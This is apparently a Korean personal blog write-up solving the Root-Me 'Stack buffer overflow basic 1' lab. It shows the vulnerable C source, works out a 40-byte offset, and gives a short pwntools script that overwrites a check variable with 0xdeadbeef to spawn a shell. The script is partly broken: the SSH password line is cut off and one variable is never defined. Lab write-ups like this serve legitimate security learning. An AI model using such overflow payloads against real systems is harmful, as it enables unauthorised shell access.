ELF x86 - Stack buffer overflow basic 1 -ROOT ME-

2023. 3. 1. 02:37Pwnable/Root_me

#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <stdio.h>
 
int main()
{
 
  int var;
  int check = 0x04030201;
  char buf[40];
 
  fgets(buf,45,stdin);
 
  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);
 
  if ((check != 0x04030201) && (check != 0xdeadbeef))
    printf ("\nYou are on the right way!\n");
 
  if (check == 0xdeadbeef)
   {
     printf("Yeah dude! You win!\nOpening your shell...\n");
     setreuid(geteuid(), geteuid());
     system("/bin/bash");
     printf("Shell closed! Bye.\n");
   }
   return 0;
}

 

문제의 소스코드다. 매운 간단한 버퍼오버플로우 관련 문제인거 같다.

 

스택구조를 잘 파아가하고 그에 맞게 페이로드를 작성한다면 if 문에서 참인 값을 도출한다면 간단하게 플래그를 획득할 수 있을 것이다.

 

IDA를 통해 서둘러 파일을 까서 스택구조를 파악 했다.

 

선언된 char s는 ebp-44

비교하는 v7 은 ebp-1C 에 위치해  있는 것을 파악할 수 있다.

 

44 - 1C --> 0x28 ---> 40 이 된다.

 

즉 더미 값 40을 넣고 조건에 맞는 값을 넣으면 비교하는 v7의 값이 버퍼오버플로우로 인해 덮여 값이 바뀌게 될 것이다.

 

그렇게 페이로드를 작성하면 다음과 같다.

 

 

from pwn import *

s = ssh(user='app-systeme-ch13',host='challenge02.root-me.org',port=2222,password='app-syst$
e = ELF('./ch13')

result = 0xdeadbeef # 비교하는 결과 값

payload = b'A' * 40 + p32(result) # 더미 40과 덮여 변조되는 값

p.sendline(payload) #페이로드 전송

result_flag = p.recv(100) # 결과 데이터로 받기

print (result_flag) #받은 결과 값 출력하기.


p.interactive() #쉘 모드 진입

 Root-me 는 특이하게 비밀번호 형식으로 플래그가 되어있다.

 

버퍼오버플로우 문제들은 하도 풀어봐서 그런지 너무 쉽다... 어쩌면 너무 쉬운 문제들을 많이 풀었던거 같다.

 

Canary 릭에서 막힌지 어느덧 벌써 수주 째인데 얼른 이제야 Canary가 제대로 이해가 되었고 우회 방법도 어느정도 인지했다..

 

하루 빨리 카나리 우회를 실습해볼만한 문제들을 풀면서 RTL, ROP 등등 익혀보고 싶다...

 

망할 버퍼오버플로우 문제는 너무 지겹다 지겨워... 얼른 내 역량을 끌어올려 다양하고 어려운 문제들을 풀 수 있도록 노력해야 겠다.